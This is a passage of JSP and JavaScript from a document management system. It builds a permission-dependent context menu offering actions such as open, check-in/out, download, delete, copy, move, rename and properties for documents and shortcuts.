  var opTifViewer = "return false;"; var cssTifViewer = "contextMenuDisabled";
  var opProperty = "return false;"; var cssProperty = "contextMenuDisabled";
  var urlProperty = "<%=request.getContextPath()%>/dms/MaintDmsDocument.do?documentType="+documentType+"&rootID="+rootID+"&parentID="+parentID+"&sCurFunctionCode="+g_curr_function_code+"&navMode=<%=GlobalConstant.NAV_MODE_PREVIEW%>&ID="+documentID+"&objectID="+documentID;
  if (documentType == "<%=DmsDocument.EMAIL_DOC_TYPE%>") {
  	urlProperty = "<%=request.getContextPath()%>/dms/MaintDmsEmailDocument.do?rootID="+rootID+"&parentID="+parentID+"&sCurFunctionCode="+g_curr_function_code+"&navMode=<%=GlobalConstant.NAV_MODE_PREVIEW%>&ID="+documentID+"&updateAlertSystemLogID="+updateAlertSystemLogID;
  } else if (documentType == "<%=DmsDocument.DOCUMENT_LINK%>" && targetDocType == "<%=DmsDocument.EMAIL_DOC_TYPE%>") {
  	urlProperty = "<%=request.getContextPath()%>/dms/MaintDmsEmailDocument.do?rootID="+rootID+"&parentID="+parentID+"&sCurFunctionCode="+g_curr_function_code+"&navMode=<%=GlobalConstant.NAV_MODE_PREVIEW%>&ID="+targetID+"&updateAlertSystemLogID="+updateAlertSystemLogID;
  }

  if ( (permission=="PERSONAL") || (sPermission.indexOf("R")>=0)) {
    if (documentType != "<%=DmsDocument.DOCUMENT_LINK%>") {
      opZipViewer = "popupZipViewer("+documentID+")";
      cssZipViewer = "contextMenuItem";
      opTifViewer = "popupTifViewer("+documentID+")";
      cssTifViewer = "contextMenuItem";
      <% if (SystemParameterFactory.getSystemParameterBoolean(SystemParameterConstant.DMS_SHOW_DOCUMENT_SUMMARY)){%>
      opProperty = "return(popupDocument(" + documentID + ",\"" + urlProperty + "\",\"DCIVisionDocumentSummary\",780,570,\"status=no,menubar=no,scrollbars=yes,resizable=yes,toolbar=no\","+listLoopCntProperty+",\"" + documentType + "\"))";
      cssProperty = "contextMenuItem";
      <%}%>
    } else {
      opZipViewer = "popupZipViewer("+targetID+")";
      cssZipViewer = "contextMenuItem";
      opTifViewer = "popupTifViewer("+targetID+")";
      cssTifViewer = "contextMenuItem";
      <% if (SystemParameterFactory.getSystemParameterBoolean(SystemParameterConstant.DMS_SHOW_DOCUMENT_SUMMARY)){%>
        opProperty = "return(popupDocument(" + documentID + ",\"" + urlProperty + "\",\"DCIVisionDocumentSummary\",780,570,\"status=no,menubar=no,scrollbars=yes,resizable=yes,toolbar=no\","+listLoopCntProperty+",\"" + documentType + "\"))";
        cssProperty = "contextMenuItem";  
        if (targetDocType == "<%=DmsDocument.EMAIL_DOC_TYPE%>") {
          opProperty = "return(popupDocument(" + targetID + ",\"" + urlProperty + "\",\"DCIVisionDocumentSummary\",780,570,\"status=no,menubar=no,scrollbars=yes,resizable=yes,toolbar=no\","+listLoopCntProperty+",\"" + targetDocType + "\"))";
        }
      <%}%>
    }
  }
  /* End of javascript action declarations */

  var contextMenuContent = "";
  var contextMenuHeader = '<div id="contextMenuHeader" class="clearfix"><div class="div-2-a">' + documentName + '</div><div class="div-2-b"><a href="#" onclick="closeContextMenu();return false;"><img src="<%=WebUtil.getImage(request, "iconCloseContextMenu.gif")%>"/></a></div></div>';
  
  if (documentType == "<%=DmsDocument.FOLDER_TYPE%>" || targetDocType == "<%=DmsDocument.FOLDER_TYPE%>") {
  	contextMenuContent += '<div id="contextMenuPanel" class="singleColumn">';
  } else {
  	contextMenuContent += '<div id="contextMenuPanel" class="doubleColumn">';
  }
  contextMenuContent += contextMenuHeader;
  contextMenuContent += '<div class="clearfix">';
  contextMenuContent += '<div class="div-2-a">';

  var firstColumn = "";
  var secondColumn = "";
  
  var sectionOne = "";
  var sectionTwo = "";
  var sectionThree = "";
  var sectionFour = "";
  var sectionFive = "";
  var sectionSix = "";
  
   // ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
   // First Column Menu Section Begin.
   // ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

    firstColumn += '<ul class="contextMenu">';
    firstColumn += preBuildDocumentContextMenu(documentID,permission,sPermission);
      
    /* Open operation section */
    if ((documentType == "<%=DmsDocument.DOCUMENT_TYPE%>" || (documentType == "<%=DmsDocument.DOCUMENT_LINK%>"&&(targetType=="<%=DmsDocument.DOCUMENT_TYPE%>" || targetType=="<%=DmsDocument.COMPOUND_DOC_TYPE%>" || targetType == "<%=DmsDocument.EMAIL_DOC_TYPE%>" || targetType == "<%=DmsDocument.FORM_DOC_TYPE%>" || targetType == "<%=DmsDocument.FLOW_DOC_TYPE%>")) || documentType == "<%=DmsDocument.COMPOUND_DOC_TYPE%>" || documentType == "<%=DmsDocument.EMAIL_DOC_TYPE%>" || documentType == "<%=DmsDocument.FORM_DOC_TYPE%>" || documentType == "<%=DmsDocument.FLOW_DOC_TYPE%>") && (permission!="REFERENCE_FILE")){
        if(targetType!="<%=DmsDocument.PAPER_DOC_TYPE%>"){
            if ( ((permission=="PERSONAL") || (sPermission.indexOf("R")>=0)) && !isTargetArchived && !isTargetNoReadRight) {
                sectionOne += '<li onclick=\'closeContextMenu();'+opOpen+'\'>';
                sectionOne += '<a href="#"><span class=\''+cssOpen+'\'><bean:message key='dms.label.open'/></span></a>';
                sectionOne += '</li>';
            } else {
                sectionOne += '<li><a href="#"><span class=\'openDisabled\'><bean:message key='dms.label.open'/></span></a></li>';
            }
        }
	}
    /* Start of checkout / checkin */
    if(permission!="REFERENCE_FILE"){
        if (documentType == "<%=DmsDocument.DOCUMENT_TYPE%>" || documentType == "<%=DmsDocument.COMPOUND_DOC_TYPE%>" || documentType=="<%=DmsDocument.EMAIL_DOC_TYPE%>" ) {
            if (g_curr_function_code != "<%=SystemFunctionConstant.DMS_PERSONAL_FOLDER%>") {
                // Only locked user can unlock the item
                if ( (itemStatus != "<%=DmsVersion.AVAILABLE_STATUS%>") && (curUserID == lockUserID) ) {
                    if (sPermission.indexOf("T") != -1){
                        sectionOne += '<li onclick=\'closeContextMenu();'+opCheckin+'\'>';
                        sectionOne += '<a href="#"><span class=\''+cssCheckin+'\'><bean:message key='dms.label.check_in'/></span></a>';
                        sectionOne += '</li>';
                    } else{
                        sectionOne += '<li><a href="#"><span class=\'checkinDisabled\'><bean:message key='dms.label.check_in'/></span></a></li>';
                    }
                }
                // Only available files can be check-out
                if (itemStatus == "<%=DmsVersion.AVAILABLE_STATUS%>") {
                    if(sRootType!="<%=DmsRoot.PERSONAL_ROOT%>"){
                        if((permission!="PERSONAL") && sPermission.indexOf("T")>=0){
                            sectionOne += '<li onclick=\'closeContextMenu();'+opCheckout+'\'>';
                            sectionOne += '<a href="#"><span class=\''+cssCheckout+'\'><bean:message key='dms.label.check_out'/></span></a>';
                            sectionOne += '</li>';
                        }else{
                            sectionOne += '<li><a href="#"><span class=\'checkoutDisabled\'><bean:message key='dms.label.check_out'/></span></a></li>';
                        }
                    }else{
                        if(permission=="PERSONAL"){
                            sectionOne += '<li onclick=\'closeContextMenu();'+opCheckin+'\'>';
                            sectionOne += '<a href="#"><span class=\''+cssCheckin+'\'><bean:message key='dms.label.check_in'/></span></a>';
                            sectionOne += '</li>';
                        }else{
                            sectionOne += '<li><a href="#"><span class=\'checkinDisabled\'><bean:message key='dms.label.check_in'/></span></a></li>';
                        }
                    }
                }
            } else { // Handle personal folder
                if(sRootType=="<%=DmsRoot.PUBLIC_ROOT%>"){
                     if (itemStatus == "<%=DmsVersion.AVAILABLE_STATUS%>") {
                         if((permission!="PERSONAL") && sPermission.indexOf("T")>=0){
                            sectionOne += '<li onclick=\'closeContextMenu();'+opCheckout+'\'>';
                            sectionOne += '<a href="#"><span class=\''+cssCheckout+'\'><bean:message key='dms.label.check_out'/></span></a>';
                            sectionOne += '</li>';
                         }else{
                            sectionOne += '<li><a href="#"><span class=\'checkoutDisabled\'><bean:message key='dms.label.check_out'/></span></a></li>';
                         }
                       }else{
                         if(sPermission.indexOf("T")){
                            sectionOne += '<li onclick=\'closeContextMenu();'+opCheckin+'\'>';
                            sectionOne += '<a href="#"><span class=\''+cssCheckin+'\'><bean:message key='dms.label.check_in'/></span></a>';
                            sectionOne += '</li>';
                         }else{
                            sectionOne += '<li><a href="#"><span class=\'checkinDisabled\'><bean:message key='dms.label.check_in'/></span></a></li>';
                         }
                    }
                }else{
                    if(permission=="PERSONAL"){
                        sectionOne += '<li onclick=\'closeContextMenu();'+opCheckin+'\'>';
                        sectionOne += '<a href="#"><span class=\''+cssCheckin+'\'><bean:message key='dms.label.check_in'/></span></a>';
                        sectionOne += '</li>';
                    }else{
                        sectionOne += '<li><a href="#"><span class=\'checkinDisabled\'><bean:message key='dms.label.check_in'/></span></a></li>';
                    }
                }
            }
        }else if ( documentType == "<%=DmsDocument.DOCUMENT_LINK%>" && targetType != "<%=DmsDocument.FOLDER_TYPE%>") {
            /* Start of shorcut, check the targetDocItemStatus instead */
            if (g_curr_function_code != "<%=SystemFunctionConstant.DMS_PERSONAL_FOLDER%>") {
                // Only locked user can unlock the item
                if ( (targetDocItemStatus != "<%=DmsVersion.AVAILABLE_STATUS%>") && (curUserID == targetLockUserID) ) {
                    if (sPermission.indexOf("T") != -1){
                        sectionOne += '<li onclick=\'closeContextMenu();'+opCheckin+'\'>';
                        sectionOne += '<a href="#"><span class=\''+cssCheckin+'\'><bean:message key='dms.label.check_in'/></span></a>';
                        sectionOne += '</li>';
                    } else{
                        sectionOne += '<li><a href="#"><span class=\'checkinDisabled\'><bean:message key='dms.label.check_in'/></span></a></li>';
                    }
                }
                // Only available files can be check-out
                if (targetDocItemStatus == "<%=DmsVersion.AVAILABLE_STATUS%>") {
                    if(sRootType!="<%=DmsRoot.PERSONAL_ROOT%>"){
                        if((permission!="PERSONAL") && sPermission.indexOf("T")>=0){
                            sectionOne += '<li onclick=\'closeContextMenu();'+opCheckout+'\'>';
                            sectionOne += '<a href="#"><span class=\''+cssCheckout+'\'><bean:message key='dms.label.check_out'/></span></a>';
                            sectionOne += '</li>';
                        }else{
                            sectionOne += '<li><a href="#"><span class=\'checkoutDisabled\'><bean:message key='dms.label.check_out'/></span></a></li>';
                        }
                    }else{
                        if(permission=="PERSONAL"){
                            sectionOne += '<li onclick=\'closeContextMenu();'+opCheckin+'\'>';
                            sectionOne += '<a href="#"><span class=\''+cssCheckin+'\'><bean:message key='dms.label.check_in'/></span></a>';
                            sectionOne += '</li>';
                        }else{
                            sectionOne += '<li><a href="#"><span class=\'checkinDisabled\'><bean:message key='dms.label.check_in'/></span></a></li>';
                        }
                    }
                }
            } else { // Handle personal folder
                if(sRootType=="<%=DmsRoot.PUBLIC_ROOT%>" || targetRootType=="<%=DmsRoot.PUBLIC_ROOT%>"){
                    if (targetDocItemStatus == "<%=DmsVersion.AVAILABLE_STATUS%>") {
                        if(sPermission.indexOf("T")>=0){
                            sectionOne += '<li onclick=\'closeContextMenu();'+opCheckout+'\'>';
                            sectionOne += '<a href="#"><span class=\''+cssCheckout+'\'><bean:message key='dms.label.check_out'/></span></a>';
                            sectionOne += '</li>';
                        }else{
                            sectionOne += '<li><a href="#"><span class=\'checkoutDisabled\'><bean:message key='dms.label.check_out'/></span></a></li>';
                        }
                    }else{
                        if(sPermission.indexOf("T")){
                            sectionOne += '<li onclick=\'closeContextMenu();'+opCheckin+'\'>';
                            sectionOne += '<a href="#"><span class=\''+cssCheckin+'\'><bean:message key='dms.label.check_in'/></span></a>';
                            sectionOne += '</li>';
                        }else{
                            sectionOne += '<li><a href="#"><span class=\'checkinDisabled\'><bean:message key='dms.label.check_in'/></span></a></li>';
                        }
                    }
                }else{
                    sectionOne += '<li onclick=\'closeContextMenu();'+opCheckin+'\'>';
                    sectionOne += '<a href="#"><span class=\''+cssCheckin+'\'><bean:message key='dms.label.check_in'/></span></a>';
                    sectionOne += '</li>';
                }
            }
        }
        /* End of shortcut */
    }
    /* End of checkout / checkin */
    
    /* Start of list version */
    if (documentType == "<%=DmsDocument.DOCUMENT_TYPE%>"
            || documentType == "<%=DmsDocument.COMPOUND_DOC_TYPE%>"
            || documentType=="<%=DmsDocument.EMAIL_DOC_TYPE%>"
            || (documentType == "<%=DmsDocument.DOCUMENT_LINK%>" && targetType != "<%=DmsDocument.FOLDER_TYPE%>") )
    {
      if ( (permission=="PERSONAL") || (sPermission.indexOf("Z")>=0) ) {
        sectionOne += '<li onclick=\'closeContextMenu();'+opListVersion+'\'>';
        sectionOne += '<a href="#"><span class=\''+cssListVersion+'\'><bean:message key='dms.label.list_version'/></span></a>';
        sectionOne += '</li>';
      }else{
        sectionOne += '<li><a href="#"><span class=\'contextMenuDisabled\'><bean:message key='dms.label.list_version'/></span></a></li>';
      }
    }
    /* End list version */

    // Starts download
    if ((documentType == "<%=DmsDocument.DOCUMENT_TYPE%>" || (documentType == "<%=DmsDocument.DOCUMENT_LINK%>"&&(targetType=="<%=DmsDocument.DOCUMENT_TYPE%>" || targetType=="<%=DmsDocument.COMPOUND_DOC_TYPE%>" || targetType == "<%=DmsDocument.EMAIL_DOC_TYPE%>"  || targetType == "<%=DmsDocument.FORM_DOC_TYPE%>" || targetType == "<%=DmsDocument.FLOW_DOC_TYPE%>")) || documentType == "<%=DmsDocument.COMPOUND_DOC_TYPE%>" || documentType == "<%=DmsDocument.EMAIL_DOC_TYPE%>" || documentType == "<%=DmsDocument.FORM_DOC_TYPE%>" || documentType == "<%=DmsDocument.FLOW_DOC_TYPE%>") && (permission!="REFERENCE_FILE")){
        if(targetType!="<%=DmsDocument.PAPER_DOC_TYPE%>"){
            <%if (SystemParameterFactory.getSystemParameterBoolean(SystemParameterConstant.DMS_SHOW_DIRECT_URL)) {%>
            var opOpenLink = "popupOpenLink(\""+documentID+"\")";var cssOpenLink = "contextMenuItem";
            sectionOne += '<li onclick=\'closeContextMenu();'+opOpenLink+'\'>';
            sectionOne += '<a href="#"><span class=\''+cssOpenLink+'\'><bean:message key='dms.label.direct_URL'/></span></a>';
            sectionOne += '</li>';
            <%}%>

            <%if(showDownload){%>
            if ( ((permission=="PERSONAL") || (sPermission.indexOf("R")>=0)) && !isTargetArchived && !isTargetNoReadRight) {
                sectionOne += '<li onclick=\'closeContextMenu();'+opDownload+'\'>';
                sectionOne += '<a href="#"><span class=\''+cssDownload+'\'><bean:message key='dms.label.download'/></span></a>';
                sectionOne += '</li>';
            } else {
                sectionOne += '<li><a href="#"><span class=\'downloadDisabled\'><bean:message key='dms.label.download'/></span></a></li>';
            }
            <%}%>
        }
    }
    // End open and download
    
    // Start zip download (not for folder)
    if ((documentType == "<%=DmsDocument.DOCUMENT_TYPE%>" || (documentType == "<%=DmsDocument.DOCUMENT_LINK%>"&&(targetType=="<%=DmsDocument.DOCUMENT_TYPE%>" || targetType=="<%=DmsDocument.COMPOUND_DOC_TYPE%>"  || targetType == "<%=DmsDocument.EMAIL_DOC_TYPE%>"  || targetType == "<%=DmsDocument.FORM_DOC_TYPE%>" || targetType == "<%=DmsDocument.FLOW_DOC_TYPE%>" )) || documentType == "<%=DmsDocument.COMPOUND_DOC_TYPE%>" || documentType == "<%=DmsDocument.EMAIL_DOC_TYPE%>" || documentType == "<%=DmsDocument.FORM_DOC_TYPE%>" || documentType == "<%=DmsDocument.FLOW_DOC_TYPE%>") && (permission!="REFERENCE_FILE")){
        if(targetType!="<%=DmsDocument.PAPER_DOC_TYPE%>"){
            <%if(showDownload){%>
            if ( ((permission=="PERSONAL") || (sPermission.indexOf("R")>=0)) && !isTargetArchived && !isTargetNoReadRight) {
                sectionOne += '<li onclick=\'closeContextMenu();'+opZipDownload+'\'>';
                sectionOne += '<a href="#"><span class=\''+cssZipDownload+'\'><bean:message key='dms.label.download_zip'/></span></a>';
                sectionOne += '</li>';
            } else {
                sectionOne += '<li><a href="#"><span class=\'contextMenuDisabled\'><bean:message key='dms.label.download_zip'/></span></a></li>';
            }
            <%}%>
        }
    }
    // End zip download

	if (sectionOne && sectionOne != "") {
    	firstColumn += sectionOne;
    	firstColumn += '<div class="contextMenuSeparator"></div>';
	}
    
    // Download All Section Begin.
    if((documentType=="<%=DmsDocument.FOLDER_TYPE%>" ||documentType=="<%=DmsDocument.COMPOUND_DOC_TYPE%>" || documentType=="<%=DmsDocument.PAPER_DOC_TYPE%>" || documentType=="<%=DmsDocument.EMAIL_DOC_TYPE%>" || documentType=="<%=DmsDocument.FORM_DOC_TYPE%>" || documentType=="<%=DmsDocument.FLOW_DOC_TYPE%>"|| (documentType == "<%=DmsDocument.DOCUMENT_LINK%>" && (targetType=="<%=DmsDocument.FOLDER_TYPE%>" ||targetType=="<%=DmsDocument.COMPOUND_DOC_TYPE%>" || targetType=="<%=DmsDocument.PAPER_DOC_TYPE%>" || targetType=="<%=DmsDocument.EMAIL_DOC_TYPE%>" || targetType=="<%=DmsDocument.FORM_DOC_TYPE%>" || targetType=="<%=DmsDocument.FLOW_DOC_TYPE%>") ))  && (permission!="REFERENCE_FILE")){
      <%if(showDownload){%>
      if ( ((permission=="PERSONAL") || (sPermission.indexOf("R")>=0)) && !isTargetArchived && !isTargetNoReadRight) {
          sectionTwo += '<li onclick=\'closeContextMenu();'+opDownloadAll+'\'>';
          sectionTwo += '<a href="#"><span class=\''+cssDownloadAll+'\'><bean:message key='dms.label.download_all'/></span></a>';
          sectionTwo += '</li>';
      } else {
          sectionTwo += '<li><a href="#"><span class=\'downloadAllDisabled\'><bean:message key='dms.label.download_all'/></span></a></li>';
      }
      <%}%>
    }
    // Download All Section End.

    // Start delete
    if ( ((itemStatus == "<%=DmsVersion.AVAILABLE_STATUS%>") && (permission!="PERSONAL")) || (itemStatus == "<%=DmsVersion.AVAILABLE_STATUS%>") && (permission=="PERSONAL") || ((itemStatus == "<%=DmsVersion.AVAILABLE_STATUS%>")&&(documentType == "<%=DmsDocument.DOCUMENT_LINK%>"))|| ((itemStatus == "I")&&(documentType == "<%=DmsDocument.DOCUMENT_LINK%>"))||(permission=="REFERENCE_FILE")) {
        if(permission!="REFERENCE_FILE"){
            //Delete
            if(directURL.indexOf("fromEmail%3Dtrue")<=0){
                if(g_curr_function_code!=null && g_curr_function_code!="null" && g_curr_function_code!="DMS.LHOME"){
                    if ( (permission=="PERSONAL") || (sPermission.indexOf("D")>=0) ) {
                        if(permission=="PERSONAL"){
                        <%if(permissionManager.hasAccessRight(SystemFunctionConstant.DMS_PERSONAL_FOLDER,"D")){%>
                            sectionTwo += '<li onclick=\'closeContextMenu();'+opDelete+'\'>';
                            sectionTwo += '<a href="#"><span class=\''+cssDelete+'\'><bean:message key='dms.label.delete'/></span></a>';
                            sectionTwo += '</li>';
                        <%}else{%>
                            sectionTwo += '<li><a href="#"><span class=\'deleteDisabled\'><bean:message key='dms.label.delete'/></span></a></li>';
                        <%}%>
                        }else{
                            sectionTwo += '<li onclick=\'closeContextMenu();'+opDelete+'\'>';
                            sectionTwo += '<a href="#"><span class=\''+cssDelete+'\'><bean:message key='dms.label.delete'/></span></a>';
                            sectionTwo += '</li>';
                        }
                    }else{
                        sectionTwo += '<li><a href="#"><span class=\'deleteDisabled\'><bean:message key='dms.label.delete'/></span></a></li>';
                    }
                }
            }
        }else{
            if(directURL.indexOf("fromEmail%3Dtrue")<=0){
                if(g_curr_function_code!=null && g_curr_function_code!="null" && g_curr_function_code!="DMS.LHOME"){
                    if ((documentType == "<%=DmsDocument.DOCUMENT_TYPE%>") || (documentType =="<%=DmsDocument.COMPOUND_DOC_TYPE%>") || documentType=="<%=DmsDocument.EMAIL_DOC_TYPE%>" || documentType=="<%=DmsDocument.FOLDER_TYPE%>") {
                        //Delete
                        sectionTwo += '<li><a href="#"><span class=\'deleteDisabled\'><bean:message key='dms.label.delete'/></span></a></li>';
                    }else{ //Fro Shortcut link
                        //Delete
                        if ( (permission=="PERSONAL") || (sPermission.indexOf("D")>=0) ) {
                            sectionTwo += '<li onclick=\'closeContextMenu();'+opDelete+'\'>';
                            sectionTwo += '<a href="#"><span class=\''+cssDelete+'\'><bean:message key='dms.label.delete'/></span></a>';
                            sectionTwo += '</li>';
                        }else{
                            sectionTwo += '<li><a href="#"><span class=\'deleteDisabled\'><bean:message key='dms.label.delete'/></span></a></li>';
                        }
                    }
                }
            }
        }
    } else { //disabled section display
      if ((documentType == "<%=DmsDocument.DOCUMENT_TYPE%>") || (documentType =="<%=DmsDocument.COMPOUND_DOC_TYPE%>") || documentType=="<%=DmsDocument.EMAIL_DOC_TYPE%>" || documentType=="<%=DmsDocument.FORM_DOC_TYPE%>" || documentType=="<%=DmsDocument.FLOW_DOC_TYPE%>" || documentType=="<%=DmsDocument.FOLDER_TYPE%>") {
        if ( (permission=="PERSONAL") || ((sPermission.indexOf("D")>=0)) ) {
          sectionTwo += '<li><a href="#"><span class=\'deleteDisabled\'><bean:message key='dms.label.delete'/></span></a></li>';
        }
      } else {
        if ( (permission=="PERSONAL") || ((sPermission.indexOf("D")>=0)) ) {
          sectionTwo += '<li onclick=\'closeContextMenu();'+opDelete+'\'>';
          sectionTwo += '<a href="#"><span class=\''+cssDelete+'\'><bean:message key='dms.label.delete'/></span></a>';
          sectionTwo += '</li>';
        }
      }
    }
    // End delete
    
    if ( ((itemStatus == "<%=DmsVersion.AVAILABLE_STATUS%>") && (permission!="PERSONAL")) || (itemStatus == "<%=DmsVersion.AVAILABLE_STATUS%>") && (permission=="PERSONAL") || ((itemStatus == "<%=DmsVersion.AVAILABLE_STATUS%>")&&(documentType == "<%=DmsDocument.DOCUMENT_LINK%>"))|| ((itemStatus == "I")&&(documentType == "<%=DmsDocument.DOCUMENT_LINK%>"))||(permission=="REFERENCE_FILE")) {
        if(permission!="REFERENCE_FILE"){
            //Copy
            if ( (permission=="PERSONAL") || ((sPermission.indexOf("C")>=0)) ) {
                sectionTwo += '<li onclick=\'closeContextMenu();'+opCopy+'\'>';
                sectionTwo += '<a href="#"><span class=\''+cssCopy+'\'><bean:message key='dms.label.copy'/></span></a>';
                sectionTwo += '</li>';
            }else{
                sectionTwo += '<li><a href="#"><span class=\'contextMenuDisabled\'><bean:message key='dms.label.copy'/></span></a></li>';
            }
            //Move
            if ( (permission=="PERSONAL") || (sPermission.indexOf("M")>=0) ) {
                sectionTwo += '<li onclick=\'closeContextMenu();'+opMove+'\'>';
                sectionTwo += '<a href="#"><span class=\''+cssMove+'\'><bean:message key='dms.label.move'/></span></a>';
                sectionTwo += '</li>';
            }else{
                sectionTwo += '<li><a href="#"><span class=\'contextMenuDisabled\'><bean:message key='dms.label.move'/></span></a></li>';
            }
            //Rename
            if ( (permission=="PERSONAL") || (sPermission.indexOf("N")>=0)) {
                sectionTwo += '<li onclick=\'closeContextMenu();'+opRename+'\'>';
                sectionTwo += '  <a href="#"><span class=\''+cssRename+'\'><bean:message key='dms.label.rename'/></span></a>';
                sectionTwo += '</li>';
            }else{
                sectionTwo += '  <li><a href="#"><span class=\'contextMenuDisabled\'><bean:message key='dms.label.rename'/></span></a></li>';
            }

        }//end of reference file permission
    }else{
        //disabled section display
        if ((documentType == "<%=DmsDocument.DOCUMENT_TYPE%>") || (documentType =="<%=DmsDocument.COMPOUND_DOC_TYPE%>") || documentType=="<%=DmsDocument.EMAIL_DOC_TYPE%>" || documentType=="<%=DmsDocument.FORM_DOC_TYPE%>" || documentType=="<%=DmsDocument.FLOW_DOC_TYPE%>" || documentType=="<%=DmsDocument.FOLDER_TYPE%>") {
            //Copy
            sectionTwo += '<li><a href="#"><span class=\'contextMenuDisabled\'><bean:message key='dms.label.copy'/></span></a></li>';
            //Move
            sectionTwo += '<li><a href="#"><span class=\'contextMenuDisabled\'><bean:message key='dms.label.move'/></span></a></li>';
            //Rename
            sectionTwo += '<li><a href="#"><span class=\'contextMenuDisabled\'><bean:message key='dms.label.rename'/></span></a></li>';
        }else{
            // Copy
            if ( (permission=="PERSONAL") || (sPermission.indexOf("C")>=0) ) {
                sectionTwo += '<li onclick=\'closeContextMenu();'+opCopy+'\'>';
                sectionTwo += '<span class=\''+cssCopy+'\'><bean:message key='dms.label.copy'/></span></a></li>';
                sectionTwo += '</li>';
            }else {
                sectionTwo += '<li><a href="#"><span class=\'contextMenuDisabled\'><bean:message key='dms.label.copy'/></span></a></li>';
            }
            //Move
            if ( (permission=="PERSONAL") || (sPermission.indexOf("M")>=0) ) {
                sectionTwo += '<li onclick=\'closeContextMenu();'+opMove+'\'>';
                sectionTwo += '<span class=\''+cssMove+'\'><bean:message key='dms.label.move'/></span></a></li>';
                sectionTwo += '</li>';
            }else {
                sectionTwo += '<li><a href="#"><span class=\'contextMenuDisabled\'><bean:message key='dms.label.move'/></span></a></li>';
            }
            //Rename
            if ( (permission=="PERSONAL") || (sPermission.indexOf("N")>=0) ) {
                sectionTwo += '<li onclick=\'closeContextMenu();'+opRename+'\'>';
                sectionTwo += '  <a href="#"><span class=\''+cssRename+'\'><bean:message key='dms.label.rename'/></span></a>';
                sectionTwo += '</li>';
            }else{
                sectionTwo += '<li><a href="#"><span class=\'contextMenuDisabled\'><bean:message key='dms.label.rename'/></span></a></li>';
            }
        }
    }
    
    if (sectionTwo && sectionTwo != "") {
    	firstColumn += sectionTwo;
    	firstColumn += '<div class="contextMenuSeparator"></div>';
    }
    
    // Start clip it
    if (FindObj("ClipBoardFrame")){
        if ( ((permission=="PERSONAL") || (sPermission.indexOf("D")>=0) || (sPermission.indexOf("T")>=0) || (sPermission.indexOf("V")>=0) || (sPermission.indexOf("L")>=0)) && (targetParentDocType != "<%=DmsDocument.COMPOUND_DOC_TYPE%>")) {
            sectionThree += '<li onclick=\'closeContextMenu();'+opClip+'\'>';
            sectionThree += '<a href="#"><span class=\''+cssClip+'\'><bean:message key='dms.label.clip_it'/></span></a>';
            sectionThree += '</li>';
        }
    }
    // End clip it
    
    // Start shortcut
    if ( ((itemStatus == "<%=DmsVersion.AVAILABLE_STATUS%>") && (permission!="PERSONAL")) || (itemStatus == "<%=DmsVersion.AVAILABLE_STATUS%>") && (permission=="PERSONAL") || ((itemStatus == "<%=DmsVersion.AVAILABLE_STATUS%>")&&(documentType == "<%=DmsDocument.DOCUMENT_LINK%>"))|| ((itemStatus == "I")&&(documentType == "<%=DmsDocument.DOCUMENT_LINK%>"))||(permission=="REFERENCE_FILE")) {
        if(permission!="REFERENCE_FILE"){
            //Shortcut
            if((documentType!="L")){
                if ( ((permission=="PERSONAL") || ((sPermission.indexOf("I")>=0)&&(sPermission.indexOf("N")>=0)) || ((sPermission.indexOf("F")>=0)&&(sPermission.indexOf("N")>=0))) && itemStatus == "<%=DmsVersion.AVAILABLE_STATUS%>") {
                    sectionThree += '<li onclick=\'closeContextMenu();'+opShortcut+'\'>';
                    sectionThree += '<a href="#"><span class=\''+cssShortcut+'\'><bean:message key='dms.label.doc_type_L'/></span></a>';
                    sectionThree += '</li>';
                } else {
                    sectionThree += '<li><a href="#"><span class=\'contextMenuDisabled\'><bean:message key='dms.label.doc_type_L'/></span></a></li>';
                }
            }
        }
    }else{
        //Shortcut
        if((documentType!="L")){
            if ( ((permission=="PERSONAL") || ((sPermission.indexOf("I")>=0)&&(sPermission.indexOf("N")>=0)) || ((sPermission.indexOf("F")>=0)&&(sPermission.indexOf("N")>=0))) && itemStatus == "<%=DmsVersion.AVAILABLE_STATUS%>") {
                sectionThree += '<li onclick=\'closeContextMenu();'+opShortcut+'\'>';
                sectionThree += '<a href="#"><span class=\''+cssShortcut+'\'><bean:message key='dms.label.doc_type_L'/></span></a>';
                sectionThree += '</li>';
            } else {
                sectionThree += '<li><a href="#"><span class=\'contextMenuDisabled\'><bean:message key='dms.label.doc_type_L'/></span></a></li>';
            }
        }
    }
    // End shortcut
    
    if (sectionThree && sectionThree != "") {
    	firstColumn += sectionThree;
    }
    
    firstColumn += postBuildDocumentContextMenu(documentID,permission,sPermission);
    firstColumn += '</ul>';
    
    // ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    // First Column Menu End.
    // ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    
    contextMenuContent += firstColumn;

    if (!(documentType == "<%=DmsDocument.FOLDER_TYPE%>" || targetDocType == "<%=DmsDocument.FOLDER_TYPE%>")) {
    	contextMenuContent += '</div><div class="div-2-b">';
    }
    
    // ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    // Second Column Menu Begin.
    // ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    
    secondColumn += '<ul class="contextMenu">';
    secondColumn += preBuildDocumentContextMenu(documentID,permission,sPermission);
    
    // Document properties section
    <% if (SystemParameterFactory.getSystemParameterBoolean(SystemParameterConstant.DMS_SHOW_DOCUMENT_SUMMARY)){%>
    if ( (permission=="PERSONAL") || (sPermission.indexOf("R")>=0)) {
        sectionFour += '<li onclick=\'closeContextMenu();'+opProperty+'\'>';
        sectionFour += '<a href="#"><span class=\''+cssProperty+'\'><bean:message key='dms.label.property'/></span></a>';
        sectionFour += '</li>';
    }else{
        sectionFour += '<li><a href="#"><span class=\'contextMenuDisabled\'><bean:message key='dms.label.property'/></span></a></li>';
    }
    <%}%>
    // End of document properties section
    
    // Content Viewer or Edit Keyword Section.
    if(permission!="REFERENCE_FILE"){
